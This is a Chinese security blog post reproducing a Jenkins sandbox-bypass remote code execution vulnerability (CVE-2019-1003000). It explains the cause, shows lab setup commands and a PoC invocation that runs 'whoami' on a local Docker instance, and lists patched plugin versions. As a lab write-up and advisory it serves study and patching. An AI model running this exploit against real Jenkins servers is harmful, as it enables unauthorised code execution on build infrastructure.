技术分享
文末附操作实践 | Jenkins远程代码执行漏洞(CVE-2019-1003000)复现
2019-03-01 13:30

安全预警

2019年1月8日,Jenkins官方发布了一则ScriptSecurity and Pipeline插件远程代码执行漏洞的安全公告,漏洞CVE编号为:CVE-2019-1003000,官方定级为高危。

2019年2月15日,网上公布了该漏洞的利用方式,该漏洞允许具有“Overall/Read”权限的用户或能够控制SCM中的Jenkinsfile或者sandboxedPipeline共享库内容的用户绕过沙盒保护并在Jenkins主服务器上执行任意代码。


事件分析

Jenkins是一个开源软件项目,是基于Java开发的一种持续集成工具,用于监控持续重复的工作,旨在提供一个开放易用的软件平台,使软件的持续集成变成可能。Jenkins的目的是持续、自动地构建/测试软件项目以及监控软件开放流程,快速问题定位及处理,提示开放效率。

ScriptSecurity and Pipeline插件是Jenkins的一个安全插件,可以集成到Jenkins各种功能插件中。它主要支持两个相关系统:脚本批准和Groovy沙盒。

漏洞产生原因:其成因是jenkins开源项目里的src/main/java/org/jenkinsci/plugins/scriptsecurityndbox/groovy/GroovySandbox.java的文件允许“具有Overall/Read权限”或者“能够控制SCM中的Jenkinsfile,或者sandboxedPipeline共享库内容权限”的攻击者使用可绕过沙盒保护的脚本在Jenkins的master服务器执行任意代码


漏洞复现

1. 环境搭建:要求有docker

步骤:

gitclonehttps://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc.git

cdcve-2019-1003000-jenkins-rce-poc

pipinstall -r requirements.txt

cdsample-vuln

./run.sh

1.png

2. 输入账号密码user1:user1

2.jpg


3.poc进行攻击pythonexploit.py --url http://localhost:8080 --job my-pipeline --usernameuser1 --password user1 --cmd "whoami"


微信图片6.png


4.png


4.复现完成

修复建议

Jenkins官方已经针对该漏洞发布了修复CVE-2019-1003000的安全更新:

DeclarativePlugin 更新至1.3.4.1版本

https://plugins.jenkins.io/pipeline-model-definition

GroovyPlugin 更新至2.61.1版本

https://plugins.jenkins.io/workflow-cps

ScriptSecurity Plugin 更新至1.50版本

https://plugins.jenkins.io/script-security

漏洞补丁更新地址

https://jenkins.io/security/advisory/2019-01-08/#SECURITY-1266


实践操作

Jenkins远程代码执行利用实践,点击 合天网安实验室,可免费操作体验,大家可以一起学习!

上一篇:kindeditor<=4.1.5文件上传漏洞复现
下一篇:popchain与对应poc的构造分析
版权所有 合天智汇信息技术有限公司 2013-2021 湘ICP备14001562号-6
Copyright © 2013-2020 Heetian Corporation, All rights reserved
4006-123-731